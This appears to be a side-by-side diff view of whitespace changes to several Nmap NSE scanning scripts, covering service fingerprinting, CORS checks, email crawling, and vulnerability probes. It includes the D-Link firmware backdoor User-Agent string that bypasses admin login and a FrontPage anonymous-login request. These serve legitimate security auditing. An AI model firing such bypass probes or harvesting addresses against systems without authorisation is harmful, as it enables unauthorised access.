end end
if body:match("HBase%s+Compiled</td><td>([^][<]+)") then if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ") local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Hbase Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Hbase Compiled: %s"):format(compiled)) table.insert(result, ("Hbase Compiled: %s"):format(compiled))
end end
if body:match("Metrics</td><td>([^][<]+)") then if body:match("Metrics</td><td>([^][<]+)") then
local metrics = body:match("Metrics</td><td>([^][<]+)"):gsub("%s+", " ") local metrics = body:match("Metrics</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Metrics %s"):format(SCRIPT_NAME,metrics)) stdnse.print_debug(1, ("%s: Metrics %s"):format(SCRIPT_NAME,metrics))
table.insert(result, ("Metrics %s"):format(metrics)) table.insert(result, ("Metrics %s"):format(metrics))
end end
if body:match("Quorum</td><td>([^][<]+)") then if body:match("Quorum</td><td>([^][<]+)") then
local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ") local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum)) stdnse.print_debug(1, ("%s: Zookeeper Quorum %s"):format(SCRIPT_NAME,quorum))
table.insert(result, ("Zookeeper Quorum: %s"):format(quorum)) table.insert(result, ("Zookeeper Quorum: %s"):format(quorum))
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if quorum:match("([%w%.]+)") then if quorum:match("([%w%.]+)") then
local newtarget = quorum:match("([%w%.]+)") local newtarget = quorum:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
if #result > 0 then if #result > 0 then
port.version.name = "hbase-region" port.version.name = "hbase-region"
port.version.product = "Apache Hadoop Hbase" port.version.product = "Apache Hadoop Hbase"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -25,23 +25,23 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service (7634, "hddtemp", {"tcp"}) portrule = shortport.port_or_service (7634, "hddtemp", {"tcp"})
action = function( host, port ) action = function( host, port )
-- 5000B should be enough for 100 disks -- 5000B should be enough for 100 disks
local status, data = comm.get_banner(host, port, {bytes=5000}) local status, data = comm.get_banner(host, port, {bytes=5000})
if not status then if not status then
return return
end end
local separator = string.sub(data, 1, 1) local separator = string.sub(data, 1, 1)
local fields = stdnse.strsplit(separator, data) local fields = stdnse.strsplit(separator, data)
local info = {} local info = {}
local disks = math.floor((# fields) / 5) local disks = math.floor((# fields) / 5)
for i = 0, (disks - 1) do for i = 0, (disks - 1) do
local start = i * 5 local start = i * 5
local device = fields[start + 2] local device = fields[start + 2]
local label = fields[start + 3] local label = fields[start + 3]
local temperature = fields[start + 4] local temperature = fields[start + 4]
local unit = fields[start + 5] local unit = fields[start + 5]
local formatted = string.format("%s: %s: %s %s", device, label, temperature, unit) local formatted = string.format("%s: %s: %s %s", device, label, temperature, unit)
table.insert(info, formatted) table.insert(info, formatted)
end end
return stdnse.format_output(true, info) return stdnse.format_output(true, info)
end end

View File

@@ -43,24 +43,24 @@ portrule = shortport.http
action = function(host, port) action = function(host, port)
local root = stdnse.get_script_args("http-apache-negotiation.root") or "/" local root = stdnse.get_script_args("http-apache-negotiation.root") or "/"
-- Common default file names. Could add a couple more. -- Common default file names. Could add a couple more.
local files = { local files = {
'robots', 'robots',
'index', 'index',
'home', 'home',
'blog' 'blog'
} }
for _, file in ipairs(files) do for _, file in ipairs(files) do
local header = http.get(host, port, root .. file).header local header = http.get(host, port, root .. file).header
-- Matching file. in content-location header -- Matching file. in content-location header
-- or negotiate in vary header. -- or negotiate in vary header.
if header["content-location"] and string.find(header["content-location"], file ..".") if header["content-location"] and string.find(header["content-location"], file ..".")
or header["vary"] and string.find(header["vary"], "negotiate") then or header["vary"] and string.find(header["vary"], "negotiate") then
return "mod_negotiation enabled." return "mod_negotiation enabled."
end
end end
end
end end

View File

@@ -42,66 +42,66 @@ local VENDORS_QUERY = "/js/vendors.php"
-- Cakephp's stylesheets hashes -- Cakephp's stylesheets hashes
local CAKEPHP_STYLESHEET_HASHES = { local CAKEPHP_STYLESHEET_HASHES = {
["aaf0340c16415585554a7aefde2778c4"] = {"1.1.12"}, ["aaf0340c16415585554a7aefde2778c4"] = {"1.1.12"},
["8f8a877d924aa26ccd66c84ff8f8c8fe"] = {"1.1.14"}, ["8f8a877d924aa26ccd66c84ff8f8c8fe"] = {"1.1.14"},
["02a661c167affd9deda2a45f4341297e"] = {"1.1.17", "1.1.20"}, ["02a661c167affd9deda2a45f4341297e"] = {"1.1.17", "1.1.20"},
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"1.2.0 - 1.2.5", "1.3.0 Alpha"}, ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"1.2.0 - 1.2.5", "1.3.0 Alpha"},
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"1.2.6"}, ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"1.2.6"},
["2e7f5372931a7f6f86786e95871ac947"] = {"1.2.7 - 1.2.9"}, ["2e7f5372931a7f6f86786e95871ac947"] = {"1.2.7 - 1.2.9"},
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"1.3.0 beta"}, ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"1.3.0 beta"},
["3c31e4674f42a49108b5300f8e73be26"] = {"1.3.0 RC1 - 1.3.7"} ["3c31e4674f42a49108b5300f8e73be26"] = {"1.3.0 RC1 - 1.3.7"}
} }
action = function(host, port) action = function(host, port)
local response, png_icon_response, gif_icon_response local response, png_icon_response, gif_icon_response
local icon_versions, stylesheet_versions local icon_versions, stylesheet_versions
local icon_hash, stylesheet_hash local icon_hash, stylesheet_hash
local output_lines local output_lines
local installation_version local installation_version
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port) local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false return false
end end
-- Are the default icons there? -- Are the default icons there?
png_icon_response = http.get(host, port, PNG_ICON_QUERY) png_icon_response = http.get(host, port, PNG_ICON_QUERY)
gif_icon_response = http.get(host, port, GIF_ICON_QUERY) gif_icon_response = http.get(host, port, GIF_ICON_QUERY)
if png_icon_response.body and png_icon_response.status == 200 then if png_icon_response.body and png_icon_response.status == 200 then
icon_versions = {"1.3.x"} icon_versions = {"1.3.x"}
elseif gif_icon_response.body and gif_icon_response.status == 200 then elseif gif_icon_response.body and gif_icon_response.status == 200 then
icon_versions = {"1.2.x"} icon_versions = {"1.2.x"}
end end
-- Download cake.generic.css and fingerprint -- Download cake.generic.css and fingerprint
response = http.get(host, port, STYLESHEET_QUERY) response = http.get(host, port, STYLESHEET_QUERY)
if response.body and response.status == 200 then if response.body and response.status == 200 then
stylesheet_hash = stdnse.tohex(openssl.md5(response.body)) stylesheet_hash = stdnse.tohex(openssl.md5(response.body))
stylesheet_versions = CAKEPHP_STYLESHEET_HASHES[stylesheet_hash] stylesheet_versions = CAKEPHP_STYLESHEET_HASHES[stylesheet_hash]
end end
-- Is /js/vendors.php there? -- Is /js/vendors.php there?
response = http.get(host, port, VENDORS_QUERY) response = http.get(host, port, VENDORS_QUERY)
if response.body and response.status == 200 then if response.body and response.status == 200 then
installation_version = {"1.1.x","1.2.x"} installation_version = {"1.1.x","1.2.x"}
elseif response.status ~= 200 and (icon_versions or stylesheet_versions) then elseif response.status ~= 200 and (icon_versions or stylesheet_versions) then
installation_version = {"1.3.x"} installation_version = {"1.3.x"}
end end
-- Prepare output -- Prepare output
output_lines = {} output_lines = {}
if installation_version then if installation_version then
output_lines[#output_lines + 1] = "Version of codebase: " .. stdnse.strjoin(", ", installation_version) output_lines[#output_lines + 1] = "Version of codebase: " .. stdnse.strjoin(", ", installation_version)
end end
if icon_versions then if icon_versions then
output_lines[#output_lines + 1] = "Version of icons: " .. stdnse.strjoin(", ", icon_versions) output_lines[#output_lines + 1] = "Version of icons: " .. stdnse.strjoin(", ", icon_versions)
end end
if stylesheet_versions then if stylesheet_versions then
output_lines[#output_lines + 1] = "Version of stylesheet: " .. stdnse.strjoin(", ", stylesheet_versions) output_lines[#output_lines + 1] = "Version of stylesheet: " .. stdnse.strjoin(", ", stylesheet_versions)
elseif stylesheet_hash and nmap.verbosity() >= 2 then elseif stylesheet_hash and nmap.verbosity() >= 2 then
output_lines[#output_lines + 1] = "Default stylesheet has an unknown hash: " .. stylesheet_hash output_lines[#output_lines + 1] = "Default stylesheet has an unknown hash: " .. stylesheet_hash
end end
if #output_lines > 0 then if #output_lines > 0 then
return stdnse.strjoin("\n", output_lines) return stdnse.strjoin("\n", output_lines)
end end
end end

View File

@@ -39,62 +39,62 @@ portrule = shortport.http
local methods = {"HEAD", "GET", "POST", "PUT", "DELETE", "TRACE", "OPTIONS", "CONNECT", "PATCH"} local methods = {"HEAD", "GET", "POST", "PUT", "DELETE", "TRACE", "OPTIONS", "CONNECT", "PATCH"}
local function origin_ok(raw, origin) local function origin_ok(raw, origin)
if not raw then if not raw then
return false return false
end end
if raw == "*" then if raw == "*" then
return true return true
end end
if raw == "null" then if raw == "null" then
return false return false
end end
local allowed = stdnse.strsplit(" ", raw) local allowed = stdnse.strsplit(" ", raw)
for _, ao in ipairs(allowed) do for _, ao in ipairs(allowed) do
if origin == ao then if origin == ao then
return true return true
end end
end end
return false return false
end end
local function method_ok(raw, method) local function method_ok(raw, method)
if not raw then if not raw then
return false return false
end end
local stuff = stdnse.strsplit(" ", raw) local stuff = stdnse.strsplit(" ", raw)
local nospace = stdnse.strjoin("", stuff) local nospace = stdnse.strjoin("", stuff)
local allowed = stdnse.strsplit(",", nospace) local allowed = stdnse.strsplit(",", nospace)
for _, am in ipairs(allowed) do for _, am in ipairs(allowed) do
if method == am then if method == am then
return true return true
end end
end end
return false return false
end end
local function test(host, port, method, origin) local function test(host, port, method, origin)
local header = { local header = {
["Origin"] = origin, ["Origin"] = origin,
["Access-Control-Request-Method"] = method, ["Access-Control-Request-Method"] = method,
} }
local response = http.generic_request(host, port, "OPTIONS", "/", {header = header}) local response = http.generic_request(host, port, "OPTIONS", "/", {header = header})
local aorigins = response.header["access-control-allow-origin"] local aorigins = response.header["access-control-allow-origin"]
local amethods = response.header["access-control-allow-methods"] local amethods = response.header["access-control-allow-methods"]
local ook = origin_ok(aorigins, response) local ook = origin_ok(aorigins, response)
local mok = method_ok(amethods, method) local mok = method_ok(amethods, method)
return ook and mok return ook and mok
end end
action = function(host, port) action = function(host, port)
local path = nmap.registry.args["http-cors.path"] or "/" local path = nmap.registry.args["http-cors.path"] or "/"
local origin = nmap.registry.args["http-cors.origin"] or "example.com" local origin = nmap.registry.args["http-cors.origin"] or "example.com"
local allowed = {} local allowed = {}
for _, method in ipairs(methods) do for _, method in ipairs(methods) do
if test(host, port, method, origin) then if test(host, port, method, origin) then
table.insert(allowed, method) table.insert(allowed, method)
end end
end end
if #allowed > 0 then if #allowed > 0 then
return stdnse.strjoin(" ", allowed) return stdnse.strjoin(" ", allowed)
end end
end end

View File

@@ -31,24 +31,24 @@ categories = {"discovery", "safe"}
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local request_time = os.time() local request_time = os.time()
local response = http.get(host, port, "/") local response = http.get(host, port, "/")
if not response.status or not response.header["date"] then if not response.status or not response.header["date"] then
return return
end end
local response_date = http.parse_date(response.header["date"]) local response_date = http.parse_date(response.header["date"])
if not response_date then if not response_date then
return return
end end
local response_time = stdnse.date_to_timestamp(response_date) local response_time = stdnse.date_to_timestamp(response_date)
local output_tab = stdnse.output_table() local output_tab = stdnse.output_table()
output_tab.date = stdnse.format_timestamp(response_time, 0) output_tab.date = stdnse.format_timestamp(response_time, 0)
output_tab.delta = os.difftime(response_time, request_time) output_tab.delta = os.difftime(response_time, request_time)
local output_str = string.format("%s; %s from local time.", local output_str = string.format("%s; %s from local time.",
response.header["date"], stdnse.format_difftime(os.date("!*t", response_time), os.date("!*t", request_time))) response.header["date"], stdnse.format_difftime(os.date("!*t", response_time), os.date("!*t", request_time)))
return output_tab, output_str return output_tab, output_str
end end

View File

@@ -44,28 +44,28 @@ local vulns = require "vulns"
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true }) local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
local server = response.header and response.header['server'] or "" local server = response.header and response.header['server'] or ""
local vuln_table = { local vuln_table = {
title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass", title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
state = vulns.STATE.NOT_VULN, state = vulns.STATE.NOT_VULN,
risk_factor = "High", risk_factor = "High",
description = [[ description = [[
D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string. D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
]], ]],
references = { references = {
'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
} }
} }
if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
( response.status == 302 and server:match("^Alpha_webserv") ) then ( response.status == 302 and server:match("^Alpha_webserv") ) then
response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } }) response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
if ( response.status == 200 ) then if ( response.status == 200 ) then
vuln_table.state = vulns.STATE.VULN vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table) return report:make_output(vuln_table)
end end
end end
return return
end end

View File

@@ -45,7 +45,7 @@ action = function(host, port)
-- ensure that root ends with a trailing slash -- ensure that root ends with a trailing slash
if ( not(root:match(".*/$")) ) then if ( not(root:match(".*/$")) ) then
root = root .. "/" root = root .. "/"
end end
-- characters that usernames may begin with -- characters that usernames may begin with

View File

@@ -41,48 +41,48 @@ categories = {"discovery", "safe"}
portrule = shortport.http portrule = shortport.http
function action(host, port) function action(host, port)
local EMAIL_PATTERN = "[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?" local EMAIL_PATTERN = "[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?"
local crawler = httpspider.Crawler:new(host, port, nil, { local crawler = httpspider.Crawler:new(host, port, nil, {
scriptname = SCRIPT_NAME scriptname = SCRIPT_NAME
} }
) )
if ( not(crawler) ) then if ( not(crawler) ) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
local emails = {} local emails = {}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break break
end end
end end
-- Collect each e-mail address and build a unique index of them -- Collect each e-mail address and build a unique index of them
if r.response.body then if r.response.body then
for email in r.response.body:gmatch(EMAIL_PATTERN) do for email in r.response.body:gmatch(EMAIL_PATTERN) do
emails[email] = true emails[email] = true
end end
end end
end end
-- if no email addresses were collected abort -- if no email addresses were collected abort
if ( not(emails) ) then return end if ( not(emails) ) then return end
local results = {} local results = {}
for email, _ in pairs(emails) do for email, _ in pairs(emails) do
table.insert(results, email) table.insert(results, email)
end end
results.name = crawler:getLimitations() results.name = crawler:getLimitations()
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -43,47 +43,47 @@ categories = {"vuln", "safe"}
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local path = stdnse.get_script_args('http-frontpage-login.path') or "/" local path = stdnse.get_script_args('http-frontpage-login.path') or "/"
local data local data
local frontpage_vuln = { local frontpage_vuln = {
title = "Frontpage extension anonymous login", title = "Frontpage extension anonymous login",
description = [[ description = [[
Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise. Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise.
]], ]],
references = { references = {
'http://insecure.org/sploits/Microsoft.frontpage.insecurities.html', 'http://insecure.org/sploits/Microsoft.frontpage.insecurities.html',
}, },
exploit_results = {}, exploit_results = {},
}; };
local report = vulns.Report:new(SCRIPT_NAME, host, port); local report = vulns.Report:new(SCRIPT_NAME, host, port);
frontpage_vuln.state = vulns.STATE.NOT_VULN; frontpage_vuln.state = vulns.STATE.NOT_VULN;
data = http.get( host, port, path .. "/_vti_inf.html" ) data = http.get( host, port, path .. "/_vti_inf.html" )
if data and data.status and data.status == 200 then if data and data.status and data.status == 200 then
--server does support frontpage extensions --server does support frontpage extensions
local fp_version = string.match(data.body,"FPVersion=\"[%d%.]*\"") local fp_version = string.match(data.body,"FPVersion=\"[%d%.]*\"")
if fp_version then if fp_version then
-- do post request http://msdn.microsoft.com/en-us/library/ms446353 -- do post request http://msdn.microsoft.com/en-us/library/ms446353
local postdata = "method=open+service:".. fp_version .."&service_name=/" local postdata = "method=open+service:".. fp_version .."&service_name=/"
data = http.post(host,port,path .. "/_vti_bin/_vti_aut/author.dll",nil,nil,postdata) data = http.post(host,port,path .. "/_vti_bin/_vti_aut/author.dll",nil,nil,postdata)
if data and data.status then if data and data.status then
if data.status == 200 then if data.status == 200 then
stdnse.print_debug("Frontpage returned 200 OK, server vulnerable.") stdnse.print_debug("Frontpage returned 200 OK, server vulnerable.")
frontpage_vuln.state = vulns.STATE.VULN; frontpage_vuln.state = vulns.STATE.VULN;
return report:make_output(frontpage_vuln); return report:make_output(frontpage_vuln);
elseif data.status == 401 then elseif data.status == 401 then
stdnse.print_debug("Frontpage returned 401, password protected.") stdnse.print_debug("Frontpage returned 401, password protected.")
return false return false
else else
stdnse.print_debug("Frontpage returned unknown response.") stdnse.print_debug("Frontpage returned unknown response.")
return false return false
end end
end end
end end
end end
stdnse.print_debug("Frontpage probably not installed.") stdnse.print_debug("Frontpage probably not installed.")
return false return false
end end

View File

@@ -40,68 +40,68 @@ portrule = shortport.http
-- @return author name filtred from html entities -- @return author name filtred from html entities
--- ---
get_owner = function(res) get_owner = function(res)
local result=res local result=res
local _ local _
if ( res:match('<span') ) then if ( res:match('<span') ) then
_,_,result=string.find(res,'title="(.-)"') _,_,result=string.find(res,'title="(.-)"')
end end
return result return result
end end
action = function(host, port) action = function(host, port)
local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or '/' local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or '/'
local response = http.get(host,port,path) local response = http.get(host,port,path)
local result, result_stats = {}, {} local result, result_stats = {}, {}
if not response or not response.status or response.status ~= 200 or if not response or not response.status or response.status ~= 200 or
not response.body then not response.body then
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", stdnse.print_debug(1, "%s: Failed to retrieve file: %s",
SCRIPT_NAME, path) SCRIPT_NAME, path)
return return
end end
local html = response.body local html = response.body
local repo=tab.new() local repo=tab.new()
tab.addrow(repo,'PROJECT','AUTHOR','DESCRIPTION') tab.addrow(repo,'PROJECT','AUTHOR','DESCRIPTION')
-- verif generator -- verif generator
if (html:match('meta name="generator" content="gitweb(.-)"')) then if (html:match('meta name="generator" content="gitweb(.-)"')) then
result['name'] = string.format("Projects from %s:", host.targetname or host.ip) result['name'] = string.format("Projects from %s:", host.targetname or host.ip)
local owners, projects_counter, owners_counter = {}, 0, 0 local owners, projects_counter, owners_counter = {}, 0, 0
for tr_code in html:gmatch('(%<tr[^<>]*%>(.-)%</tr%>)') do for tr_code in html:gmatch('(%<tr[^<>]*%>(.-)%</tr%>)') do
local regx='<a[^<>]*href="(.-)">(.-)</a>(.-)title="(.-)"(.-)<i>(.-)</i>' local regx='<a[^<>]*href="(.-)">(.-)</a>(.-)title="(.-)"(.-)<i>(.-)</i>'
for _, project, _, desc, _, owner in tr_code:gmatch(regx) do for _, project, _, desc, _, owner in tr_code:gmatch(regx) do
--if desc result return default text of gitweb replace it by no description --if desc result return default text of gitweb replace it by no description
if(string.find(desc,'Unnamed repository')) then if(string.find(desc,'Unnamed repository')) then
desc='no description' desc='no description'
end end
tab.addrow(repo, project, get_owner(owner), desc) tab.addrow(repo, project, get_owner(owner), desc)
-- Protect from parsing errors or long owners -- Protect from parsing errors or long owners
-- just an arbitrary value -- just an arbitrary value
if owner:len() < 128 and not owners[owner] then if owner:len() < 128 and not owners[owner] then
owners[owner] = true owners[owner] = true
owners_counter = owners_counter + 1 owners_counter = owners_counter + 1
end end
projects_counter = projects_counter + 1 projects_counter = projects_counter + 1
end end
end end
table.insert(result,tab.dump(repo)) table.insert(result,tab.dump(repo))
table.insert(result, "") table.insert(result, "")
table.insert(result, table.insert(result,
string.format("Number of projects: %d", projects_counter)) string.format("Number of projects: %d", projects_counter))
if (owners_counter > 0 ) then if (owners_counter > 0 ) then
table.insert(result, table.insert(result,
string.format("Number of owners: %d", owners_counter)) string.format("Number of owners: %d", owners_counter))
end end
end end
return stdnse.format_output(true,result) return stdnse.format_output(true,result)
end end

View File

@@ -77,9 +77,9 @@ action = function(host, port)
local req = http.get_url(qry) local req = http.get_url(qry)
stdnse.print_debug(2, "%s", qry) stdnse.print_debug(2, "%s", qry)
if ( req.status > 400 ) then if ( req.status > 400 ) then
return "[ERROR] Request failed (invalid API key?)" return "[ERROR] Request failed (invalid API key?)"
end end
--The Safe Lookup API responds with a type when site is on the lists --The Safe Lookup API responds with a type when site is on the lists
if req.body then if req.body then

View File

@@ -34,42 +34,42 @@ categories = {"discovery", "safe"}
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
local useget = stdnse.get_script_args(SCRIPT_NAME..".useget") local useget = stdnse.get_script_args(SCRIPT_NAME..".useget")
local request_type = "HEAD" local request_type = "HEAD"
local status = false local status = false
local result local result
-- Check if the user didn't want HEAD to be used -- Check if the user didn't want HEAD to be used
if(useget == nil) then if(useget == nil) then
-- Try using HEAD first -- Try using HEAD first
status, result = http.can_use_head(host, port, nil, path) status, result = http.can_use_head(host, port, nil, path)
end end
-- If head failed, try using GET -- If head failed, try using GET
if(status == false) then if(status == false) then
stdnse.print_debug(1, "http-headers.nse: HEAD request failed, falling back to GET") stdnse.print_debug(1, "http-headers.nse: HEAD request failed, falling back to GET")
result = http.get(host, port, path) result = http.get(host, port, path)
request_type = "GET" request_type = "GET"
end end
if(result == nil) then if(result == nil) then
if(nmap.debugging() > 0) then if(nmap.debugging() > 0) then
return "ERROR: Header request failed" return "ERROR: Header request failed"
else else
return nil return nil
end end
end end
if(result.rawheader == nil) then if(result.rawheader == nil) then
if(nmap.debugging() > 0) then if(nmap.debugging() > 0) then
return "ERROR: Header request didn't return a proper header" return "ERROR: Header request didn't return a proper header"
else else
return nil return nil
end end
end end
table.insert(result.rawheader, "(Request type: " .. request_type .. ")") table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
return stdnse.format_output(true, result.rawheader) return stdnse.format_output(true, result.rawheader)
end end

View File

@@ -42,46 +42,46 @@ prerule = function() return true end
-- This function decodes the single quote as a start and should really -- This function decodes the single quote as a start and should really
-- be replaced with a proper UTF-8 decoder in the future -- be replaced with a proper UTF-8 decoder in the future
local function decodeString(str) local function decodeString(str)
return str:gsub("\226\128\153", "'") return str:gsub("\226\128\153", "'")
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function() action = function()
if ( not(arg_username) or not(arg_password) ) then if ( not(arg_username) or not(arg_password) ) then
return fail("No username or password was supplied") return fail("No username or password was supplied")
end end
local mobileme = mobileme.Helper:new(arg_username, arg_password) local mobileme = mobileme.Helper:new(arg_username, arg_password)
local status, response = mobileme:getLocation() local status, response = mobileme:getLocation()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, response) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, response)
return fail("Failed to retrieve location information") return fail("Failed to retrieve location information")
end end
local output = tab.new(4) local output = tab.new(4)
tab.addrow(output, "name", "location", "accuracy", "date", "type") tab.addrow(output, "name", "location", "accuracy", "date", "type")
for name, info in pairs(response) do for name, info in pairs(response) do
local loc local loc
if ( info.latitude and info.longitude ) then if ( info.latitude and info.longitude ) then
loc = ("%.3f,%.3f"):format( loc = ("%.3f,%.3f"):format(
tonumber(info.latitude) or "-", tonumber(info.latitude) or "-",
tonumber(info.longitude) or "-") tonumber(info.longitude) or "-")
else else
loc = "-,-" loc = "-,-"
end end
local ts local ts
if ( info.timestamp and 1000 < info.timestamp ) then if ( info.timestamp and 1000 < info.timestamp ) then
ts = os.date("%x %X", info.timestamp/1000) ts = os.date("%x %X", info.timestamp/1000)
else else
ts = "-" ts = "-"
end end
tab.addrow(output, decodeString(name), loc, info.accuracy or "-", ts, info.postype or "-") tab.addrow(output, decodeString(name), loc, info.accuracy or "-", ts, info.postype or "-")
end end
if ( 1 < #output ) then if ( 1 < #output ) then
return stdnse.format_output(true, tab.dump(output)) return stdnse.format_output(true, tab.dump(output))
end end
end end

View File

@@ -38,44 +38,44 @@ categories = {"malware", "safe"}
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
-- Check what response we get for a 404 -- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port) local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then if(result == false) then
return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404) return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404)
end end
-- If the 404 result is a 302, we're going to have trouble -- If the 404 result is a 302, we're going to have trouble
if(result_404 == 302) then if(result_404 == 302) then
return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check") return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check")
end end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the test -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the test
if ( result_404 == 200 ) then if ( result_404 == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false return false
end end
-- Perform a GET request on the file -- Perform a GET request on the file
result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2") result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2")
if(not(result)) then if(not(result)) then
return stdnse.format_output(false, "Couldn't perform GET request") return stdnse.format_output(false, "Couldn't perform GET request")
end end
if(result.status == 302) then if(result.status == 302) then
local response = {} local response = {}
if(result.header.location) then if(result.header.location) then
table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location)) table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location))
else else
table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect") table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect")
end end
table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/") table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end
-- Not infected -- Not infected
if(nmap.verbosity() > 0) then if(nmap.verbosity() > 0) then
return "Host appears to be clean" return "Host appears to be clean"
else else
return nil return nil
end end
end end

View File

@@ -37,23 +37,23 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function( host, port ) action = function( host, port )
local fname, url = stdnse.get_script_args('http-put.file', 'http-put.url') local fname, url = stdnse.get_script_args('http-put.file', 'http-put.url')
if ( not(fname) or not(url) ) then if ( not(fname) or not(url) ) then
return return
end end
local f = io.open(fname, "r") local f = io.open(fname, "r")
if ( not(f) ) then if ( not(f) ) then
return stdnse.format_output(true, ("ERROR: Failed to open file: %s"):format(fname)) return stdnse.format_output(true, ("ERROR: Failed to open file: %s"):format(fname))
end end
local content = f:read("*all") local content = f:read("*all")
f:close() f:close()
